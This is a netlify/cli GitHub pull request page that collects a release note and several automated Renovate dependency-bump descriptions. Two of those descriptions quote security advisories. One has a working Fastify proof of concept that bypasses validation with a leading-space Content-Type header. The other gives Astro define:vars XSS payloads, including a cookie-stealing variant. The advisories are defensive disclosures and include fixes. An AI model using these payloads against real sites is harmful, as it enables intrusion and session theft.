chore(main): release 25.6.0 by token-generator-app[bot] · Pull Request #8203 · netlify/cli

token-generator-app · 2026-04-24T08:55:12Z

🤖 I have created a release beep boop

25.6.0 (2026-04-24)

Features

add setup wizard in database init (#8204) (768a7a8)

Bug Fixes

deps: update netlify packages (#8202) (d32ea28)

This PR was generated with Release Please. See documentation.

…netlify-cli

token-generator-app · 2026-04-24T14:29:34Z

🤖 Created releases:

v25.6.0

🌻

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@netlify/build](https://redirect.github.com/netlify/build) ([source](https://redirect.github.com/netlify/build/tree/HEAD/packages/build)) | [`35.13.3` → `35.13.4`](https://renovatebot.com/diffs/npm/@netlify%2fbuild/35.13.3/35.13.4) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2fbuild/35.13.4?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2fbuild/35.13.3/35.13.4?slim=true) | --- ### Release Notes <details> <summary>netlify/build (@netlify/build)</summary> ### [`v35.13.4`](https://redirect.github.com/netlify/build/blob/HEAD/packages/build/CHANGELOG.md#35134-2026-04-26) [Compare Source](https://redirect.github.com/netlify/build/compare/d17373f5f6ab58289a5bc78d90bd0b520c9c652f...ed5ab4def7cdc057bb001ec46ac230a49663f11d) ##### Bug Fixes - cleanup migration dist files ([#7039](https://redirect.github.com/netlify/build/issues/7039)) ([bd970ff](https://redirect.github.com/netlify/build/commit/bd970ffd187d1f6d2860da7826f8f6035fe7f4e0)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [fastify](https://fastify.dev/) ([source](https://redirect.github.com/fastify/fastify)) | [`5.8.3` → `5.8.5`](https://renovatebot.com/diffs/npm/fastify/5.8.3/5.8.5) | ![age](https://developer.mend.io/api/mc/badges/age/npm/fastify/5.8.5?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/fastify/5.8.3/5.8.5?slim=true) | ### GitHub Vulnerability Alerts #### [CVE-2026-33806](https://redirect.github.com/fastify/fastify/security/advisories/GHSA-247c-9743-5963) ### Summary A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via `schema.body.content` can be completely circumvented by prepending a single space character (`\x20`) to the `Content-Type` header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped. This is a regression introduced by commit [`f3d2bcb`](https://redirect.github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4) (fix for [CVE-2025-32442](https://redirect.github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc)). ### Details The vulnerability is a **parser-validator differential** between two independent code paths that process the raw `Content-Type` header differently. **Parser path** (`lib/content-type.js`, line ~67) applies `trimStart()` before processing: ```js const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase() // ' application/json' → trimStart() → 'application/json' → body is parsed ✓ ``` **Validator path** (`lib/validation.js`, line 272) splits on `/[ ;]/` before trimming: ```js function getEssenceMediaType(header) { if (!header) return '' return header.split(/[ ;]/, 1)[0].trim().toLowerCase() } // ' application/json'.split(/[ ;]/, 1) → [''] (splits on the leading space!) // ''.trim() → '' // context[bodySchema][''] → undefined → NO validator found → validation skipped! ``` The `ContentType` class applies `trimStart()` before processing, so the parser correctly identifies `application/json` and parses the body. However, `getEssenceMediaType` splits on `/[ ;]/` before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type `""`, finds nothing, and skips validation entirely. **Regression source:** Commit [`f3d2bcb`](https://redirect.github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4) (April 18, 2025) changed the split delimiter from `';'` to `/[ ;]/` to fix [CVE-2025-32442](https://redirect.github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc). The old code (`header.split(';', 1)[0].trim()`) was **not** vulnerable to this vector because `.trim()` would correctly handle the leading space. The new regex-based split introduced the regression. ### PoC ```js const fastify = require('fastify')({ logger: false }); fastify.post('/transfer', { schema: { body: { content: { 'application/json': { schema: { type: 'object', required: ['amount', 'recipient'], properties: { amount: { type: 'number', maximum: 1000 }, recipient: { type: 'string', maxLength: 50 }, admin: { type: 'boolean', enum: [false] } }, additionalProperties: false } } } } } }, async (request) => { return { processed: true, data: request.body }; }); (async () => { await fastify.ready(); // BLOCKED — normal request with invalid payload const res1 = await fastify.inject({ method: 'POST', url: '/transfer', headers: { 'content-type': 'application/json' }, payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true }) }); console.log('Normal:', res1.statusCode); // → 400 FST_ERR_VALIDATION // BYPASS — single leading space const res2 = await fastify.inject({ method: 'POST', url: '/transfer', headers: { 'content-type': ' application/json' }, payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true }) }); console.log('Leading space:', res2.statusCode); // → 200 (validation bypassed!) console.log('Body:', res2.body); await fastify.close(); })(); ``` **Output:** ``` Normal: 400 Leading space: 200 Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}} ``` ### Impact Any Fastify application that relies on <code>schema.body.content</code> (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header. This vulnerability is distinct from all previously patched content-type bypasses: CVE | Vector | Patched in 5.8.4? -- | -- | -- CVE-2025-32442 | Casing / semicolon whitespace | ✅ Yes CVE-2026-25223 | Tab character (\t) | ✅ Yes CVE-2026-3419 | Trailing garbage after subtype | ✅ Yes This finding | Leading space (\x20) | ❌ No **Recommended fix** — add `trimStart()` before the split in `getEssenceMediaType`: ```js function getEssenceMediaType(header) { if (!header) return '' return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase() } ``` ##### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` --- ### Release Notes <details> <summary>fastify/fastify (fastify)</summary> ### [`v5.8.5`](https://redirect.github.com/fastify/fastify/releases/tag/v5.8.5) [Compare Source](https://redirect.github.com/fastify/fastify/compare/v5.8.4...v5.8.5) #### ⚠️ Security Release This fixes CVE CVE-2026-33806 <GHSA-247c-9743-5963>. #### What's Changed - chore: Fix port parsing by [@&netlify#8203;jsumners](https://redirect.github.com/jsumners) in [#&netlify#8203;6603](https://redirect.github.com/fastify/fastify/pull/6603) - chore: upgrade to typescript v6.0.2 by [@&netlify#8203;Tony133](https://redirect.github.com/Tony133) in [#&netlify#8203;6605](https://redirect.github.com/fastify/fastify/pull/6605) - fix: restore trustProxy function for number and string types, add null check for socketAddr by [@&netlify#8203;mcollina](https://redirect.github.com/mcollina) in [#&netlify#8203;6613](https://redirect.github.com/fastify/fastify/pull/6613) - ci: reduce cron scheduled workflows from daily/weekly to monthly by [@&netlify#8203;Fdawgs](https://redirect.github.com/Fdawgs) in [#&netlify#8203;6623](https://redirect.github.com/fastify/fastify/pull/6623) - chore: Bump pnpm/action-setup from 4.2.0 to 5.0.0 by [@&netlify#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in [#&netlify#8203;6629](https://redirect.github.com/fastify/fastify/pull/6629) - chore: Bump markdownlint-cli2 from 0.21.0 to 0.22.0 by [@&netlify#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in [#&netlify#8203;6632](https://redirect.github.com/fastify/fastify/pull/6632) - chore: Bump borp from 0.21.0 to 1.0.0 by [@&netlify#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in [#&netlify#8203;6633](https://redirect.github.com/fastify/fastify/pull/6633) - chore: Bump actions/dependency-review-action from 4.8.3 to 4.9.0 by [@&netlify#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in [#&netlify#8203;6630](https://redirect.github.com/fastify/fastify/pull/6630) - docs(ecosystem): add [@&netlify#8203;pompelmi/fastify-plugin](https://redirect.github.com/pompelmi/fastify-plugin) by [@&netlify#8203;SonoTommy](https://redirect.github.com/SonoTommy) in [#&netlify#8203;6610](https://redirect.github.com/fastify/fastify/pull/6610) #### New Contributors - [@&netlify#8203;SonoTommy](https://redirect.github.com/SonoTommy) made their first contribution in [#&netlify#8203;6610](https://redirect.github.com/fastify/fastify/pull/6610) **Full Changelog**: <fastify/fastify@v5.8.4...v5.8.5> ### [`v5.8.4`](https://redirect.github.com/fastify/fastify/releases/tag/v5.8.4) [Compare Source](https://redirect.github.com/fastify/fastify/compare/v5.8.3...v5.8.4) **Full Changelog**: <fastify/fastify@v5.8.3...v5.8.4> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - "" - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@netlify/dev](https://redirect.github.com/netlify/primitives) ([source](https://redirect.github.com/netlify/primitives/tree/HEAD/packages/dev)) | [`4.17.1` → `4.17.3`](https://renovatebot.com/diffs/npm/@netlify%2fdev/4.17.1/4.17.3) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2fdev/4.17.3?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2fdev/4.17.1/4.17.3?slim=true) | --- ### Release Notes <details> <summary>netlify/primitives (@&netlify#8203;netlify/dev)</summary> ### [`v4.17.3`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/dev/CHANGELOG.md#4173-2026-04-20) [Compare Source](https://redirect.github.com/netlify/primitives/compare/ef289037b648ab9338bee73da6a4482cee661b3e...75a0945d3a3333dddccdfbd7fcd1c051de6b51e7) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@&netlify#8203;netlify/database-dev](https://redirect.github.com/netlify/database-dev) bumped from 0.9.0 to 0.10.0 ### [`v4.17.2`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/dev/CHANGELOG.md#4172-2026-04-20) [Compare Source](https://redirect.github.com/netlify/primitives/compare/2ebf765b18e889906d29610915e78482c326fdd6...ef289037b648ab9338bee73da6a4482cee661b3e) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@&netlify#8203;netlify/database-dev](https://redirect.github.com/netlify/database-dev) bumped from 0.8.0 to 0.9.0 </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: kodiakhq[bot] <49736102+kodiakhq[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@netlify/functions](https://redirect.github.com/netlify/primitives) ([source](https://redirect.github.com/netlify/primitives/tree/HEAD/packages/functions/prod)) | [`^5.2.0` → `^5.2.1`](https://renovatebot.com/diffs/npm/@netlify%2ffunctions/5.2.0/5.2.1) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2ffunctions/5.2.1?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2ffunctions/5.2.0/5.2.1?slim=true) | --- ### Release Notes <details> <summary>netlify/primitives (@netlify/functions)</summary> ### [`v5.2.1`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/functions/prod/CHANGELOG.md#521-2026-05-12) [Compare Source](https://redirect.github.com/netlify/primitives/compare/7f49a5375fa0b816cb1ebeed3dc22c8a379d370e...2941cca584b654d49be601705261bafe3507b83c) ##### Bug Fixes - update readme badges to point to current repo ([#594](https://redirect.github.com/netlify/primitives/issues/594)) ([0e05d46](https://redirect.github.com/netlify/primitives/commit/0e05d46b645b66d20d01e824fe5b82a121b491a2)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@netlify/dev](https://redirect.github.com/netlify/primitives) ([source](https://redirect.github.com/netlify/primitives/tree/HEAD/packages/dev)) | [`^4.18.3` → `^4.18.4`](https://renovatebot.com/diffs/npm/@netlify%2fdev/4.18.3/4.18.4) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2fdev/4.18.4?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2fdev/4.18.3/4.18.4?slim=true) | --- ### Release Notes <details> <summary>netlify/primitives (@netlify/dev)</summary> ### [`v4.18.4`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/dev/CHANGELOG.md#4184-2026-05-12) [Compare Source](https://redirect.github.com/netlify/primitives/compare/c81cf893b3835a4a39f887639f789edb634b2c1c...2941cca584b654d49be601705261bafe3507b83c) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@netlify/blobs](https://redirect.github.com/netlify/blobs) bumped from 10.7.5 to 10.7.6 - [@netlify/functions-dev](https://redirect.github.com/netlify/functions-dev) bumped from 1.2.8 to 1.2.9 - [@netlify/runtime](https://redirect.github.com/netlify/runtime) bumped from 4.1.21 to 4.1.22 </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@netlify/blobs](https://redirect.github.com/netlify/primitives) ([source](https://redirect.github.com/netlify/primitives/tree/HEAD/packages/blobs)) | [`^10.7.5` → `^10.7.7`](https://renovatebot.com/diffs/npm/@netlify%2fblobs/10.7.6/10.7.7) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2fblobs/10.7.7?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2fblobs/10.7.6/10.7.7?slim=true) | --- ### Release Notes <details> <summary>netlify/primitives (@netlify/blobs)</summary> ### [`v10.7.7`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/blobs/CHANGELOG.md#1077-2026-05-15) [Compare Source](https://redirect.github.com/netlify/primitives/compare/2941cca584b654d49be601705261bafe3507b83c...617922dfb80f5b6ba3db1db226922f1a7ba155c4) ##### Dependencies - The following workspace dependencies were updated - dependencies - [@netlify/dev-utils](https://redirect.github.com/netlify/dev-utils) bumped from 4.4.3 to 4.4.4 - [@netlify/otel](https://redirect.github.com/netlify/otel) bumped from ^6.0.0 to ^6.0.1 </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

> ℹ️ **Note** > > This PR body was truncated due to platform limits. This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [astro](https://astro.build) ([source](https://redirect.github.com/withastro/astro/tree/HEAD/packages/astro)) | [`5.18.1` → `6.1.10`](https://renovatebot.com/diffs/npm/astro/5.18.1/6.1.10) | ![age](https://developer.mend.io/api/mc/badges/age/npm/astro/6.1.10?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/astro/5.18.1/6.1.10?slim=true) | --- ### Astro: XSS in define:vars via incomplete </script> tag sanitization [CVE-2026-41067](https://nvd.nist.gov/vuln/detail/CVE-2026-41067) / [GHSA-j687-52p2-xcff](https://redirect.github.com/advisories/GHSA-j687-52p2-xcff) <details> <summary>More information</summary> #### Details ##### Summary The `defineScriptVars` function in Astro's server-side rendering pipeline uses a case-sensitive regex `/<\/script>/g` to sanitize values injected into inline `<script>` tags via the `define:vars` directive. HTML parsers close `<script>` elements case-insensitively and also accept whitespace or `/` before the closing `>`, allowing an attacker to bypass the sanitization with payloads like `</Script>`, `</script >`, or `</script/>` and inject arbitrary HTML/JavaScript. ##### Details The vulnerable function is `defineScriptVars` at `packages/astro/src/runtime/server/render/util.ts:42-53`: ```typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /<\/script>/g, // ← Case-sensitive, exact match only '\\x3C/script>', )};\n`; } return markHTMLString(output); } ``` This function is called from `renderElement` at `util.ts:172-174` when a `<script>` element has `define:vars`: ```typescript if (name === 'script') { delete props.hoist; children = defineScriptVars(defineVars) + '\n' + children; } ``` The regex `/<\/script>/g` fails to match three classes of closing script tags that HTML parsers accept per the [HTML specification §13.2.6.4](https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inbody): 1. **Case variations**: `</Script>`, `</SCRIPT>`, `</sCrIpT>` — HTML tag names are case-insensitive but the regex has no `i` flag. 2. **Whitespace before `>`**: `</script >`, `</script\t>`, `</script\n>` — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace. 3. **Self-closing slash**: `</script/>` — the tokenizer enters "self-closing start tag" state on `/`. `JSON.stringify()` does not escape `<`, `>`, or `/` characters, so all these payloads pass through serialization unchanged. **Execution flow:** User-controlled input (e.g., `Astro.url.searchParams`) → assigned to a variable → passed via `define:vars` on a `<script>` tag → `renderElement` → `defineScriptVars` → incomplete sanitization → injected into `<script>` block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed. ##### PoC **Step 1:** Create an SSR Astro page (`src/pages/index.astro`): ```astro --- const name = Astro.url.searchParams.get('name') || 'World'; --- <html> <body> <h1>Hello</h1> <script define:vars=> console.log(name); </script> </body> </html> ``` **Step 2:** Ensure SSR is enabled in `astro.config.mjs`: ```js export default defineConfig({ output: 'server' }); ``` **Step 3:** Start the dev server and visit: ``` http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)> ``` **Step 4:** View the HTML source. The output contains: ```html <script>const name = "</Script><img/src=x onerror=alert(document.cookie)>"; console.log(name); </script> ``` The browser's HTML parser matches `</Script>` case-insensitively, closing the script block. The `<img onerror=alert(document.cookie)>` is then parsed as HTML and the JavaScript in `onerror` executes. **Alternative bypass payloads:** ``` /?name=</script ><img/src=x onerror=alert(1)> /?name=</script/><img/src=x onerror=alert(1)> /?name=</SCRIPT><img/src=x onerror=alert(1)> ``` ##### Impact An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to `define:vars` on a `<script>` tag. This is a documented and expected usage pattern in Astro. Exploitation enables: - **Session hijacking** via cookie theft (`document.cookie`) - **Credential theft** by injecting fake login forms or keyloggers - **Defacement** of the rendered page - **Redirection** to attacker-controlled domains The vulnerability affects all Astro versions that support `define:vars` and is exploitable in any SSR deployment where user input reaches a `define:vars` script variable. ##### Recommended Fix Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all `<` characters in the JSON output: ```typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /</g, '\\u003c', )};\n`; } return markHTMLString(output); } ``` This is the standard approach used by frameworks like Next.js and Rails. Replacing every `<` with `\u003c` is safe inside JSON string contexts (JavaScript treats `\u003c` as `<` at runtime) and eliminates all possible `</script>` variants including case variations, whitespace, and self-closing forms. #### Severity - CVSS Score: 6.1 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff](https://redirect.github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff) - [https://github.com/withastro/astro/releases/tag/astro@6.1.6](https://redirect.github.com/withastro/astro/releases/tag/astro@6.1.6) - [https://nvd.nist.gov/vuln/detail/CVE-2026-41067](https://nvd.nist.gov/vuln/detail/CVE-2026-41067) - [https://github.com/advisories/GHSA-j687-52p2-xcff](https://redirect.github.com/advisories/GHSA-j687-52p2-xcff) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-j687-52p2-xcff) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: Server island encrypted parameters vulnerable to cross-component replay [CVE-2026-45028](https://nvd.nist.gov/vuln/detail/CVE-2026-45028) / [GHSA-xr5h-phrj-8vxv](https://redirect.github.com/advisories/GHSA-xr5h-phrj-8vxv) <details> <summary>More information</summary> #### Details ##### Impact Astro versions prior to 6.1.10 used AES-GCM encryption to protect the confidentiality and integrity of server island props and slots parameters, but did not bind the ciphertext to its intended component or parameter type. An attacker could replay one component's encrypted props (`p`) value as another component's slots (`s`) value, or vice versa. Since slots contain raw unescaped HTML while props may contain user-controlled values, this could lead to XSS in applications that meet **all** of the following conditions: - The application uses server islands - Two different server island components share the same key name for a prop and a slot - An attacker has full control over the value of the overlapping prop (requires a dynamically rendered page) These conditions are very unlikely to occur in real-world production applications. ##### Patches This has been patched in **astro@6.1.10**. The fix binds each encrypted parameter to its target component and purpose using AES-GCM authenticated additional data (AAD). Each ciphertext now includes context like `props:IslandName` or `slots:IslandName`, so encrypted data for one component cannot be replayed against a different component, and encrypted props cannot be reused as slots. ##### References - Fix PR: [https://github.com/withastro/astro/pull/16457](https://redirect.github.com/withastro/astro/pull/16457) - Example demonstrating the vulnerability: https://github.com/CyberSecurityAustria/ACSC2026-web-astronomical #### Severity - CVSS Score: 2.9 / 10 (Low) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-xr5h-phrj-8vxv](https://redirect.github.com/withastro/astro/security/advisories/GHSA-xr5h-phrj-8vxv) - [https://github.com/withastro/astro/pull/16457](https://redirect.github.com/withastro/astro/pull/16457) - [https://github.com/withastro/astro/commit/3d82220a1549e699e34ed433f3846a919f4c02bd](https://redirect.github.com/withastro/astro/commit/3d82220a1549e699e34ed433f3846a919f4c02bd) - [https://nvd.nist.gov/vuln/detail/CVE-2026-45028](https://nvd.nist.gov/vuln/detail/CVE-2026-45028) - [https://github.com/advisories/GHSA-xr5h-phrj-8vxv](https://redirect.github.com/advisories/GHSA-xr5h-phrj-8vxv) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-xr5h-phrj-8vxv) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>withastro/astro (astro)</summary> ### [`v6.1.10`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#6110) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.1.9...astro@6.1.10) ##### Patch Changes - [#16479](https://redirect.github.com/withastro/astro/pull/16479) [`1058428`](https://redirect.github.com/withastro/astro/commit/1058428df2d13878c6130787636dd1778273a934) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes a spurious `[WARN] [content] Content config not loaded` warning during `astro dev` for projects that don't use content collections - [#16457](https://redirect.github.com/withastro/astro/pull/16457) [`3d82220`](https://redirect.github.com/withastro/astro/commit/3d82220a1549e699e34ed433f3846a919f4c02bd) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Hardens server island encryption to prevent encrypted data from one island component being replayed against a different one - [#16481](https://redirect.github.com/withastro/astro/pull/16481) [`152700e`](https://redirect.github.com/withastro/astro/commit/152700e08178285b240d8ef947cccd47b870ee5f) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes a spurious 404 request for a dev toolbar sourcemap during `astro dev` caused by the browser mis-resolving a relative `sourceMappingURL` from the `/@id/` URL prefix - [#16480](https://redirect.github.com/withastro/astro/pull/16480) [`1bcb43b`](https://redirect.github.com/withastro/astro/commit/1bcb43bf04f3fa8f4623897ae2a937250f35216a) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes an unnecessary full page reload on first navigation during dev ### 